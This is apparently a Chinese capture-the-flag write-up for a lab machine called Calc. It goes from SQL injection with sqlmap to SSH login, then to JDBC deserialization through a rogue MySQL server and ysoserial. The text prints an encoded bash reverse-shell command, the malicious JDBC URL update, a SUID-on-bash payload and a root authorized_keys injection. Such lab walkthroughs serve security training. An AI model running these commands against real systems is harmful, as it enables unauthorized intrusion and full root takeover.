文章总结: 本文详细记录了针对Calc靶机的完整渗透测试过程,通过信息收集发现开放端口后,利用SQL注入获取数据库凭证登录SSH,进而发现定时任务执行的JAR文件存在JDBC反序列化漏洞。通过搭建恶意MySQL服务器并利用ysoserial工具生成反序列化载荷,成功实现远程代码执行获取root权限。文档提供了多种提权方法包括反向Shell、SUID权限提升和SSH密钥写入等实战技巧。
综合评分: 85
文章分类: 渗透测试,内网渗透,漏洞分析,WEB安全,红队
群友靶机之Calc.
原创
MS02423
MS02423
MS02423
2026年4月17日 16:10
天津
在小说阅读器读本章
去阅读
今天写一下kaada佬的Calc.的靶机wp
这是kaada佬的博客
https://skyarrow416.github.io/
一.信息收集
1.探测IP
靶机IP是192.168.137.145
2.探测端口
nmap -p- -sV 192.168.137.145
开放了22 80 8080端口
那么我们在80端口和8080端口上面下手,然后得到有用的信息,在22端口登录
3.探测目录
gobuster dir -u http://192.168.137.145 -w /usr/share/wordlists/dirb/big.txt -x php,txt,bak,zip,sh,config
我们在80端口和8080端口上面都没有发现有用的目录,那么我们只能在80端口下手了
二.访问IP
http://192.168.137.145/
刚开始,我因为是ssrf漏洞呢,去尝试尝试
{{7*7}}
发现报错了,而且出现SQL注入,那么我们直接去爆破即可
三.渗透测试
1.SQL注入
GET /api/track/1 HTTP/1.1Host: 192.168.137.145User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36Accept: */*Referer: http://192.168.137.145/Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Connection: keep-alive
爆破数据库
sqlmap -u "http://192.168.137.145/api/track/1" --dbs --batch
我们可以看到存在calc_db数据库,那么我们去爆破即可,这里我就不再多写,直接去爆破数据
sqlmap -u "http://192.168.137.145/api/track/1" -D 'calc_db' -T 'webapp_users' -C 'id,username,password' --dump --batch
爆破出来用户名和密码
Jimmy:JimmyThumb_Calc_2010
2.ssh登录
我们去登录即可
成功拿到user.txt
3.TODO.txt
我们可以看到一个TODO.txt,我们去看看
cat TODO.txt
大致意思是
- 迁移 Tomcat 端口
原文: Migrate Tomcat to port 80 (Currently on 8080 via reverse proxy).意思: 目前你的 Tomcat 运行在 8080 端口,前面可能挂了一个 Nginx 或 Apache 作为反向代理。现在的目标是让 Tomcat 直接监听 80 端口(即标准的 HTTP 端口),或者重新调整代理逻辑。注意: 在 Linux 中,监听 1024 以下的端口通常需要 root 权限。
- 安全化本地数据库凭据
原文: Secure local database credentials (calc_user : vocaloid_miku_01).意思: 你的数据库账号是 calc_user,密码是 vocaloid_miku_01(看来 Jimmy 是个初音未来的粉丝)。任务: 现在的密码是明文形式,非常不安全。你需要采取措施,比如:将密码从代码中移出,放入环境变量或加密的配置文件。限制该用户的权限,仅允许本地(localhost)访问。使用权限管理工具(如 Vault)或设置合适的 Linux 文件权限(如 600),确保只有特定程序能读取。
- 修复 Cron 定时任务中的同步脚本
原文: Fix backend_sync.jar reading system_config in cron. Do not change 700 permissions on the jar!意思: 你的后台同步程序 backend_sync.jar 在通过 cron(定时任务)运行时,无法正确读取 system_config 配置文件。关键约束:禁止修改该 JAR 包的权限(必须保持 700)。700 意味着只有文件所有者有权读取、写入和执行。可能的原因: * 路径问题:cron 运行时的默认工作目录通常是用户的家目录,导致脚本找不到相对路径下的配置文件。建议在 cron 中使用绝对路径。用户权限: 运行 cron 的用户可能不是该 JAR 包的所有者。
既然看到定时任务,那么我们去看看
/bin/sh -c /usr/bin/java -jar /opt/backend_sync.jar >/dev/null 2>&1
每分钟去执行这个脚本,我们去看看
4.定时任务
然后AI告诉我去配置文件文件注入,但是没有找到配置文件
那么,我们去下载下来看看这个脚本
我们去反编译看看
我们可以看到提示中的system_config是在数据库里的,且可以打jdbc url注入
5.jjdbc url注入
首先,我们需要去下载工具的
rogue_mysql_server
(1)下载地址
https://github.com/rmb122/rogue_mysql_server/releases/tag/v1.0.1
下载ysoserial-all.jar工具
https://github.com/frohoff/ysoserial/releases/tag/v0.0.6
(2)修改配置文件
刚刚开始我修改的文件内容为
jdbc_exploit: false 改成truecc5-reverse-shell: ["java", "-jar", "/tmp/ysoserial-all.jar", "CommonsCollections5", bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xMDIvMTIzNCAwPiYxCg==}|{base64,-d}|{bash -i}']/tmp/ysoserial_all.jar是你ysoserial-all.jar工具地址bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xMDIvMTIzNCAwPiYxCg==}|{base64,-d}|{bash -i}'监听地址echo "bash -i >& /dev/tcp/192.168.137.102/1234 0>&1" | base64YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xMDIvMTIzNCAwPiYxCg==
然后我去运行文件报错了
./rogue_mysql_server -config config.yaml
报错原因好像是我java版本号太高了
现在的 exit status 70 回到了我们最开始讨论的 Java 高版本反射限制问题。
由于你的 Kali 运行的是 Java 17 或 Java 21,它默认禁止了 ysoserial 所需的深层反射。你需要把那些“通关参数”直接写进 config.yaml 的命令数组里。
我们重新写一下
payload.ser文件里面写入
java --add-opens=java.base/java.lang=ALL-UNNAMED \ --add-opens=java.base/java.util=ALL-UNNAMED \ --add-opens=java.management/javax.management=ALL-UNNAMED \ -jar /tmp/ysoserial-all.jar \ CommonsCollections6 \ "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xMDIvMTIzNCAwPiYxCg==}|{base64,-d}|{bash,-i}" > /tmp/payload.ser
在config.yaml写入
host: 0.0.0.0port: 3306version_string: "10.4.13-MariaDB-log"
file_list: ["/etc/passwd", "C:/boot.ini", "/root/root.txt"]save_path: ./lootalways_read: truefrom_database_name: falsemax_file_size: 0
auth: falseusers: - root: root - root: password
jdbc_exploit: truealways_exploit: falseysoserial_command: cc5-reverse-shell: ["cat", "/tmp/payload.ser"]
(3)运行文件
./rogue_mysql_server -config config.yaml
我们可以看到运行成功,接下来去更新数据库即可
(5)更新数据库
UPDATE system_config SET jdbc_url = 'jdbc:mysql://192.168.137.102:3306/test?autoDeserialize=true&maxAllowedPacket=655360&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&connectionAttributes=t:cc5-reverse-shell' WHERE config_name = 'master_sync_node';
(6)监听
nc -lp 1234
我们可以看到监听成功,成功拿到root的shell
注意:一定一定要把数据库语句写对,不然的话永远是不会攻击成功的
我们还有好多的方法:
/bin/bash 变成一个 SUID Shell
第一步:修改payload.ser
java --add-opens=java.base/java.lang=ALL-UNNAMED \ --add-opens=java.base/java.util=ALL-UNNAMED \ --add-opens=java.management/javax.management=ALL-UNNAMED \ -jar /tmp/ysoserial-all.jar \ CommonsCollections6 \ "chmod 4755 /bin/bash" > /tmp/payload.ser
第二步:3306端口重启
第三步:等待执行
写入公钥
第一步:编码公钥
我们不能直接去写入的,直接写入是不会成功的
Java 的 Runtime.exec() 不支持管道符(|)、重定向(>、>>)和逻辑运算符(&&)。
当你直接把这一长串命令交给 ysoserial 时,目标机器的 Java 引擎会尝试寻找一个名字叫做 “mkdir -p …” 的文件去执行,而不是启动一个 Shell 来解析这些符号。
那么我们去编码即可
echo 'mkdir -p /root/.ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2/Ht52dHxnOjNCFyfxisz/P6IxxxxxxxxcZKn031NyGUm8TVlW5PwRZ4Z4D4Z2rF3jlBbpyBmNWa6aA1bYMWVHiK5n9I4kURDwZ3IOitpH2Fq7UW800hsfqgP+g6s/8npTtlY2wT50RfECRj0CdJdZfcyeYLDdRpXYHGJ/qJdFvcPOBCHihHvng4YQFQ0u/ZVlORdv7K4XQGXX+VWLidxyoQ1AJ0ZHR5q7wsW9yKFwg1tuLghIdgDDZWH/CwEdprrg2Jo+mJygypZ+UJwgdac1XtR3A6FPhBBOHf98I+0cKhgdwd2aWGhRqQoD6QTbC2nzexU0W+BdFmLUPv3iFsWqZOX/LPifT6gRkRQga8Y/1Q9m4jv9dQcAEhMe1T2PK5IAp7MjGCr4SuG5DsEcq1qG0RLAgPSu3cFThwjKz8cL5Zllc6Xbs3xx83jOk4UWR27qr5R1f1VWBhqWfTlZmpGN9P6LUt2PhRuo9xS07DrD05Tc+Bum62pYJN+9QCSxthDkj6Jmq84KYPlNI5qAWVWkM3wUtMg88Cqpk+tdyzMoT4IHhvkBiDzYLyad32ShuOvRRBcrqC2vGFk5b3i/gfpaEHmIXu9rc++Potwl8E4J82o21gxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx root@kali" >> /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys' | base64 -w 0
第二步:修改文件
第三步:启动
第四步:ssh登录
至此,这个靶机渗透测试成功。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:MS02423 MS02423
MS02423《群友靶机之Calc.》